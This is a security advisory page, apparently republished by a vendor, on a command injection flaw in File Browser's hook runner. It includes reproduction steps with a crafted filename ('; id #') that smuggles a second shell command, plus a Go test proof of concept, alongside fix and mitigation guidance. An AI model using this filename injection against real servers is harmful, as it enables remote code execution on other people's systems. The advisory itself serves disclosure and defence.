Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-jvpw-637p-h3pw

HIGH

GHSA-jvpw-637p-h3pw is a high-severity (CVSS 7.2) OS Command Injection vulnerability in github.com/filebrowser/filebrowser/v2. O3 Security confirms whether GHSA-jvpw-637p-h3pw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

File Browser has a Command Injection via Hook Runner

Also known asCVE-2026-35585GO-2026-5481
Published
Apr 8, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jun 25, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹github.com/filebrowser/filebrowser/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.

For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.

Overview

The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE).

Affected Location

  • File: runner/runner.go
  • Function: Runner.exec

Technical Details

Runner.exec expands template variables inside hook command strings using os.Expand:

// runner/runner.go
envMapping := func(key string) string {
    switch key {
    case "FILE":
        return path       // attacker-controlled filename
    case "USERNAME":
        return username   // attacker-controlled username
    // ...
    }
}

for i, arg := range command {
    if i == 0 { continue }
    command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.
}

The expanded value is then passed as a shell argument string. os.Expand performs plain string substitution with no escaping. If an admin has configured a hook such as:

sh -c "echo created $FILE"

...and an attacker creates a file named ; id #, the variable expansion produces:

sh -c "echo created /path/to/; id #"

The ; terminates the echo command and the shell executes id with server privileges. The # character comments out the remainder, preventing syntax errors.

This pattern is exploitable across all hook events: before_upload, after_upload, before_rename, after_rename, before_delete, after_delete, etc.

Attack Scenario / Reproduction Steps

  1. Admin configures an after_upload hook: sh -c "echo created $FILE".
  2. The attacker (authenticated user with upload permission) uploads a file named ; id #.
  3. The upload succeeds and the hook fires automatically.
  4. The server executes:
    sh -c "echo created /uploads/; id #"
    
  5. The id command runs, confirming RCE.

Impact

Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds $FILE in a shell string is exploitable by crafting the filename accordingly.

Proof of Concept

package runner

import (
        "os"
        "testing"

        "github.com/filebrowser/filebrowser/v2/settings"
)

func TestPoC_FileHookInjection(t *testing.T) {
        // Simulate an admin-configured shell-based hook
        r := &Runner{
                Enabled: true,
                Settings: &settings.Settings{
                        Shell: []string{"sh", "-c"},
                        Commands: map[string][]string{
                                "after_upload": {"echo Uploaded $FILE"},
                        },
                },
        }

        // Malicious filename crafted by the attacker
        maliciousFilename := "/tmp/safe; id #"

        // Simulate the exec logic in runner/runner.go
        raw := r.Commands["after_upload"][0]
        command, _, _ := ParseCommand(r.Settings, raw)

        envMapping := func(key string) string {
                if key == "FILE" {
                        return maliciousFilename
                }
                return os.Getenv(key)
        }

        for i, arg := range command {
                if i == 0 {
                        continue
                }
                // os.Expand substitutes $FILE with the attacker-controlled filename —
                // no escaping is applied, so shell metacharacters pass through unchanged.
                command[i] = os.Expand(arg, envMapping)
        }

        // The resulting command argument is the injected shell script:
        // sh -c "echo Uploaded /tmp/safe; id #"
        expectedArg := "echo Uploaded /tmp/safe; id #"
        if command[2] != expectedArg {
                t.Errorf("Expected command argument %q, got %q", expectedArg, command[2])
        }

        t.Logf("Confirmed: filename injection succeeded. Shell will execute: %v", command)
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/filebrowser/filebrowser/v2all versions2.33.8

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/filebrowser/filebrowser/v2 to 2.33.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jvpw-637p-h3pw is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-jvpw-637p-h3pw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-jvpw-637p-h3pw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

> [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Overview The hook system in File Br
O3 Security · Impact-Aware SCA

Is GHSA-jvpw-637p-h3pw in your dependencies?

O3 detects GHSA-jvpw-637p-h3pw across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-jvpw-637p-h3pw: File Browser has a… | O3 Security